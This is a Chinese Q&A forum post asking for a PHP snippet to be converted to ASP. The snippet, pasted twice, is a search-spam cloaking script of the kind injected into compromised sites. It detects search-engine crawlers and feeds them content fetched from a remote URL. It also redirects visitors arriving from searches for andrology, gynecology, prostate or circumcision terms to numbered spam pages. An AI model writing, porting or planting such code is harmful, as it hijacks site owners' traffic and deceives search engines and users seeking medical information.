把几句PHP代码转成ASP求大神 感激不尽 30
foreach($gameas$yx){if(stripos($QS,$yx)!==false){$url=$yx;break;}}foreach($spider_arr...
foreach($game as $yx) {if(stripos($QS,$yx) !== false) {$url = $yx;break;}}
foreach($spider_arr as $_spider) {if(stripos($agent,$_spider) !== false) {$spider = true;break;}}
foreach($spider_arr as $_ref) {if(stripos($referer,$_ref) !== false) {$ref = true;break;}}
foreach($sit_arr as $get_sit) {if(stripos($referer,$get_sit) !== false) {$ref = false; break;}}
if($ref) {
if(stristr($referer,'%E7%94%B7%E7%A7%91')) {
header('Location:'.$discuz_ym.'1.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%A6%87%E7%A7%91')){
header('Location:'.$discuz_ym.'2.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%89%8D%E5%88%97%E8%85%BA')){
header('Location:'.$discuz_ym.'3.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%8C%85%E7%9A%AE')){
header('Location:'.$discuz_ym.'4.php?'.$discuz_url);
exit;}}
if($QS!=''){
if($spider) {echo file_get_contents($discuz);}} 展开
foreach($spider_arr as $_spider) {if(stripos($agent,$_spider) !== false) {$spider = true;break;}}
foreach($spider_arr as $_ref) {if(stripos($referer,$_ref) !== false) {$ref = true;break;}}
foreach($sit_arr as $get_sit) {if(stripos($referer,$get_sit) !== false) {$ref = false; break;}}
if($ref) {
if(stristr($referer,'%E7%94%B7%E7%A7%91')) {
header('Location:'.$discuz_ym.'1.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%A6%87%E7%A7%91')){
header('Location:'.$discuz_ym.'2.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%89%8D%E5%88%97%E8%85%BA')){
header('Location:'.$discuz_ym.'3.php?'.$discuz_url);
exit;}
else if(stristr($referer,'%E5%8C%85%E7%9A%AE')){
header('Location:'.$discuz_ym.'4.php?'.$discuz_url);
exit;}}
if($QS!=''){
if($spider) {echo file_get_contents($discuz);}} 展开
3个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询